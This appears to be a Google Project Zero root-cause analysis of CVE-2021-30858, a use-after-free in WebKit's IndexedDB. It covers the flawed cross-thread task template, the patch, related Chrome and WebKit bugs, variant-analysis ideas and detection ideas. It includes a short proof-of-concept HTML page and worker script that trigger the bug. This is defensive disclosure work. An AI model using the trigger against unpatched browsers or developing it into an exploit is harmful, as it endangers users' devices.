## CVE-2021-30858: WebKit use-after-free in IndexedDB
*Maddie Stone, Google Project Zero*

## The Basics

**Disclosure or Patch Date:** 13 September 2021

**Product:** Apple WebKit

**Advisory:** https://support.apple.com/en-us/HT212808

**Affected Versions:** pre-Safari 14.1.2, pre-iOS 14.8

**First Patched Version:** Safari 14.1.2, iOS 14.8

**Issue/Bug Report:** https://bugs.webkit.org/show_bug.cgi?id=229375

**Patch CL:** https://trac.webkit.org/changeset/281384/webkit

**Bug-Introducing CL:** ??

**Reporter(s):** Anonymous

## The Code

**Proof-of-concept:**

index.html
```html
<html> 
    <script>
        w = new Worker('idbworker.js');
    </script>
</html>
```

idbworker.js
```javascript
function freememory() {
    for (var i = 0; i < 1000; i++) {
        a = new Uint8Array(1024*1024);
    }
}

let ev = new Event('mine');
let req = indexedDB.open('db');
req.dispatchEvent(ev);
req = 0;
ev = 0;
freememory();
```

**Exploit sample:** N/A

**Did you have access to the exploit sample when doing the analysis?** No

## The Vulnerability

**Bug class:** Use-after-free

**Vulnerability details:**
There is a use-after-free of the `IDBOpenDBRequest` due to a cross-thread task using a raw reference. `IDBRequest` is the base class of `IDBOpenDBRequest`. The state of the `IDBRequest` is able to be changed in `dispatchEvent` by a script-generated custom event, which leads to the `IDBRequest` being freed too early and thus the use-after-free.

Prior to this vulnerability being fixed, there were two template options for the `createCrossThreadTask` function:
1. The callee object is a derived class of `ThreadSafeRefCounted<T>` so the cross-thread task will use a `RefPtr` for the callee ([source](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WTF/wtf/CrossThreadTask.h#L90)):

```c++
template<typename T, typename std::enable_if<std::is_base_of<ThreadSafeRefCounted<T>, T>::value, int>::type = 0, typename... Parameters, typename... Arguments>
CrossThreadTask createCrossThreadTask(T& callee, void (T::*method)(Parameters...), const Arguments&... arguments)
{
    return CrossThreadTask([callee = makeRefPtr(&callee), method, arguments = std::make_tuple(crossThreadCopy(arguments)...)]() mutable {
        callMemberFunctionForCrossThreadTask(callee.get(), method, WTFMove(arguments));
    });
}
```

2. The callee object is NOT a derived class of `ThreadSafeRefCounted<T>` so the cross-thread task will use a raw reference for the callee ([source](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WTF/wtf/CrossThreadTask.h#L98)):

```c++
template<typename T, typename std::enable_if<!std::is_base_of<ThreadSafeRefCounted<T>, T>::value, int>::type = 0, typename... Parameters, typename... Arguments>
CrossThreadTask createCrossThreadTask(T& callee, void (T::*method)(Parameters...), const Arguments&... arguments)
{
    return CrossThreadTask([callee = &callee, method, arguments = std::make_tuple(crossThreadCopy(arguments)...)]() mutable {
        callMemberFunctionForCrossThreadTask(callee, method, WTFMove(arguments));
    });
}
```

To trigger this vulnerability, we're using a callee object of `IDBOpenDBRequest`. `IDBOpenDBRequest` is a derived class from `IDBRequest` ([IDBOpenDBRequest.h#L35](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WebCore/Modules/indexeddb/IDBOpenDBRequest.h#L35)). `IDBRequest` is a derived class from `ThreadSafeRefCounted<IDBRequest>` ([IDBRequest.h#L63](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WebCore/Modules/indexeddb/IDBRequest.h#L63)). 

While the intention was that an `IDBOpenDBRequest` callee would use template #1, the `RefPtr`, #2 was actually used because `IDBOpenDBRequest` is not derived from `ThreadSafeRefCounted<IDBOpenDBRequest>`, it's actually derived from `ThreadSafeRefCounted<IDBRequest>`. Therefore #2 with the raw reference was used.

**Patch analysis:**

There are two parts to the patch:
1. In `IDBRequest::dispatchEvent` a check is added to only change the state of the request if the event is trusted, i.e. internally generated.
2. In `CrossThreadTask::createCrossThreadTask` the template is modified to ensure that the callee object, in this case the `IDBOpenDBRequest`, is a `RefPtr` and therefore protected, rather than being a raw reference. This is done by changing the templates to use `ThreadSafeRefCountedBase` instead of `ThreadSafeRefCounted<T>`.

**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**

This bug was most likely found via fuzzing. The trigger for this vulnerability uses all common patterns that would be known to most fuzzers. It is also possible though that the attackers found the vulnerability after seeing the similar Chrome & WebKit bugs.

**(Historical/present/future) context of bug:**

* In December 2019, what seems to be a similar bug was found in Chrome by ClusterFuzz: https://bugs.chromium.org/p/chromium/issues/detail?id=1032890
* In March 2019, what seems to be a similar [bug](https://bugs.webkit.org/show_bug.cgi?id=195563) was found in WebKit. In this case, the use-after-free was on the `IDBDatabase` object. The [patch](https://github.com/WebKit/WebKit/commit/9dc1355f53270b710accba13b54300cca74136c6) included adding the template to `CrossThreadTask::createCrossThreadTask` for callees that are a derived class of `ThreadSafeRefCounted<T>`.

## The Exploit

(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)

**Exploit strategy (or strategies):**

N/A no access to exploit sample

**Exploit flow:**

**Known cases of the same exploit flow:**

**Part of an exploit chain?**

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):**
1. Check whether other `dispatchEvent` functions change state based on non-trusted (custom/script-generated) events.
2. Check whether tasks that take place in threads other than the origin thread use raw references or pointers.
3. General auditing of IndexedDB code. 

**Found variants:** N/A

### Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

**Ideas to kill the bug class:**

 * Memory Tagging could potentially prevent this use-after-free.

**Ideas to mitigate the exploit flow:** N/A

**Other potential improvements:**

* Monitoring fixes in other platforms who have similar implementations of code. For example, in [January 2020 Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=1032890) fixed that [`IDBRequest::DispatchEventInternal` changed state in IndexedDB objects based on untrusted events](https://chromium.googlesource.com/chromium/src.git/+/96f63f777dfc517e46cd41edd9f8205f42055aba%5E%21/#F2). Making that change in WebKit would have fixed this vulnerability.

### 0-day detection methods

These may have high rates of false positives, but here are some ideas for detecting:

* Looking for scripts that have functions specifically to trigger garbage collection. 
* Dispatching custom events to IndexedDB objects.

## Other References

